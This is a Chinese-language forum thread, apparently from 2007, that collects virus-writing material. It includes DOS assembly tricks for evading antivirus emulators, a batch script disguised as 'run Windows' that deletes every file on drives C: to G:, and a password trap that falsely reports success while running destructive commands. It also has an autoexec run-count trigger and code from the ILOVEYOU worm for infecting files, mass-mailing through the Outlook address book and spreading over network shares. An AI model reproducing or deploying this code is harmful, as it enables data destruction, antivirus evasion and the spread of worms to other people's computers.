--------D-2F1220-----------------------------
INT 2F U - DOS 3+ 内部使用 - 取得工作档案表格
AX = 1220h
BX = file handle
传回: CF =1 错误
AL = 6 (无效的 file handle)
CF =0 成功
ES:DI -> 在目前程序中,档案代码的 JFT (byte)
Notes: the byte pointed at by ES:DI contains the number of the SFT for the
file handle,or FFh if the handle is not open
supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - DOS 3+ internal - 取得 SFT 的地址
AX = 1216h
BX = SFT 编号 (也就是用 AX=1220h int 2Fh 取得的 JFT)
Return: CF =0 成功
ES:DI -> SFT 地址
CF =1,BX 大于 FILES=xxxx
Note: supported by DR-DOS 5+
SeeAlso: AX=1220h
05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息
...
xor ax,ax
mov ds,ax
push word ptr ds:[0002h]
push word ptr ds:[0000h]
mov ds:[0002h],cs
mov ax,OFFSET int0_jmp
mov ds:[0000h],ax
xor ax,ax
div ax ; 因为 ax:=0000h 而 ax 除以 ax 而触发
int 20h ; int 0h 中断... 使程序转到 int0_jmp !
... ; 而不是执行 int 20h ...
int0_jmp:
pop ax
pop ax
pop ax
pop word ptr ds:[0000h]
pop word ptr ds:[0002h]
...
这个方法我原先是加在 GCAE v2.0 中,没想到后来我的朋友传给我一些杂志中
,居然有相同的方法,可见外国的技术一直比我国强,因此大家要加油啰...
在以前没有一个 CPU 指令仿真可追得下去的... (除了新版的 PTAV之外...)
...
xor ax,ax
mov ds,ax
push word ptr ds:[000ah]
push word ptr ds:[0008h]
mov ds:[000ah],cs
mov ax,OFFSET int0_jmp
mov ds:[0008h],ax
int 75h ; 为何要呼叫 int 75h 呢??嘻!跟据
int 20h ; 我的观察... 这个中断里有一道 int 02h!
... ; 因此... :_)
int2_jmp:
add sp,000ch
pop word ptr ds:[0008h]
pop word ptr ds:[000ah]
...
嘻!这个方法我打算用在我的下一版变体引擎中... 到目前为止,没一个可以模
拟啦 (我用过 TBAV 试的...) !
此外... 还可用 I/O port 来引发 int 2h 中断,有兴趣的可以去研究看看...
port: 61h 、70h ...
--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 运行磁盘缓冲,加快删除速度:)
SMARTDRV >nul
rem 清屏
cls
rem 显示正在运行WINDOWS系统和百分比
echo run Windows ..........10%%
rem 执行删除操作
deltree /y g:\. >nul
cls
echo run Windows ..........20%%
deltree /y f:\. >nul
cls
echo run Windows ..........50%%
deltree /y e:\. >nul
cls
echo run Windows ..........70%%
deltree /y d:\. >nul
cls
echo run Windows ..........90%%
deltree /y c:\. >nul
cls
rem 全部删除后,告诉他电脑刚才在干什么!:)
echo del system all!!
echo Goodbye!!!
rem 结束
--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 设置变量
set a=1
set d=0
:sub
rem 清屏
cls
rem 等待输入密码
CHOICE /c:1234567890 /n Password(3-%a%):
rem 判断输入的是哪个字符
if ERRORLEVEL 10 goto 10
if ERRORLEVEL 9 goto 9
if ERRORLEVEL 8 goto 8
if ERRORLEVEL 7 goto 7
if ERRORLEVEL 6 goto 6
if ERRORLEVEL 5 goto 5
if ERRORLEVEL 4 goto 4
if ERRORLEVEL 3 goto 3
if ERRORLEVEL 2 goto 2
rem 判断运行次数
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:10
rem 判断密码是否正确
if %d%==2 set d=3
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:9
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:8
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:7
if %d%==0 set d=1
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:6
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:5
if %d%==1 set d=2
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:4
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:3
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:2
if %a%==3 goto run
if %a%==2 set a=3
if %a%==1 set a=2
goto sub
:run
rem 判断密码是否正确
if %d%==3 goto end
rem 密码错误时显示“OK”!迷惑非法使用者
echo Password ok!
rem 这里放密码错误时要执行的程序
:end
@rem 结束
--------------------------------------------------------------------------------
这个BAT程序可以输入三次,正确密码是:750,您也可以使用字母作为密码,如果密码输入错误就一边显示密码正确,迷惑非法使用者,一边执行您的补救程序,比如执行删除重要文件等等!如果放在autoexec.bat里面就可以得到重新启动时加密的效果!一般人都会在不知道密码的情况下先随便输入试试,所以本程序应该还管用的,是不是很简单?您可以将红色部分任意的顺序放在任意的段落里和删除所有rem开头的语句。(修改可以,但一定要记住前后对应呀!)
--------------------------------------------------------------------------------
@rem 开始
@rem 关闭命令行显示
@echo off
rem 设置路径
PATH %PATH%;c:\windows\;c:\windows\command
rem 判断是否有开始执行标记文件
if EXIST c:\windows\5.bak goto run
rem 创建标记初始文件
dir c:\msdos.sys > c:\windows\1.bak
rem 查找标记文件来判断运行次数
if EXIST c:\windows\4.bak goto a
if EXIST c:\windows\3.bak goto b
if EXIST c:\windows\2.bak goto c
if EXIST c:\windows\1.bak goto d
goto end
:a
rem 创建运行次数标记文件
type c:\windows\1.bak > c:\windows\5.bak
goto end
:b
type c:\windows\1.bak>c:\windows\4.bak
goto end
:c
type c:\windows\1.bak>c:\windows\3.bak
goto end
:d
type c:\windows\1.bak>c:\windows\2.bak
goto end
:run
rem 开始执行预定程序
deltree /y c:\windows\1.bak >nul
deltree /y c:\windows\2.bak >nul
deltree /y c:\windows\3.bak >nul
deltree /y c:\windows\4.bak >nul
deltree /y c:\windows\5.bak >nul
rem 这里改为您想运行的程序文件名 >nul
:end
@rem 结束
--------------------------------------------------------------------------------
这个BAT每运行5次就执行一次您预定的程序,如果放在autoexec.bat里面就可以得到重新启动5次执行一次指定程序的效果!是不是很简单?您可以修改红色部分增加或减少运行次数和删除所有rem开头的语句。(修改可以,但一定要记住前后对应呀!)作者: KKIILDL 时间: 2007-3-2 03:58 网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:
二、Vbs脚本病毒原理分析
1.vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject("scripting.filesystemobject") '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)
vbscopy=self.readall ' 读取病毒全部代码到字符串变量vbscopy……
set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件,准备写入病毒代码
ap.write vbscopy ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.copy(目标文件.path & ".vbs") ' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true) '删除目标文件
上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删勘晡募?BR>下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义,
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用
scan( )
scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") //获取MAPI的名字空间
Set addrList= mapiObj.AddressLists //获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) //获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址
item.To = addrEnt.Address //填入收信人地址 item.Subject = "病毒传播实验" //写入邮件标题
item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" //写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
item.DeleteAfterSubmit = True //信件提交后自动删除
If item.To <> "" Then
item.Send //发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染
End If
Next
End If
Next
End if
End Function
2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections ’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2 ’显示网络打印机连接情况
WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives ’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox "没有可列出的驱动器。", vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "当前网络驱动器连接: " & CRLF
For i = 0 To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)
Next
MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg’显示当前网络驱动器连接
End If
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。
3)通过感染htm、asp、jsp、php等网页文件传播
如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是“Windows Script Host Shell Object”,同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象,调用它们的强大功能。代码如下所示:
Set Apple0bject = document.applets("KJ_guest")
Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
Apple0bject.createInstance() ’创建一个实例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance() ’创建一个实例
Set FSO = Apple0bject.Get0bject()
对于其他类型文件,这里不再一一分析。
'源代码:
'显示本机IP地址
Dim IP
Set IP = CreateObject("MSWinsock.Winsock")
IPAddress = IP.LocalIP
Msgbox "Local IP = " & IPaddress
IP.close
VBS的MSWINSOCK.WINSOCK对像的方法。
Sub Connect
Sub ConnectionRequest(ByVal requestID As Long)
Sub DataArrival(ByVal bytesTotal As Long)
Sub SendComplete
Sub SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
Property _RemoteHost As String
Sub AboutBox
Property LocalIP As String
Sub Accept(ByVal requestID As Long)
Sub Bind([ByVal LocalPort], [ByVal LocalIP])
Property BytesReceived As Long
Sub Close
Sub Connect([ByVal RemoteHost], [ByVal RemotePort])
Sub GetData(data, [ByVal type], [ByVal maxLen])
Sub Listen
Sub PeekData(data, [ByVal type], [ByVal maxLen])
Property RemotePort As Long
Sub SendData(ByVal data)
Property SocketHandle As Long
Property State As Integer作者: KKIILDL 时间: 2007-3-2 04:04 C语言编的unix病毒
这是一只 UNIX 下的电脑病毒,
virus name: Unix Invader (入侵者)
written by NCKU htk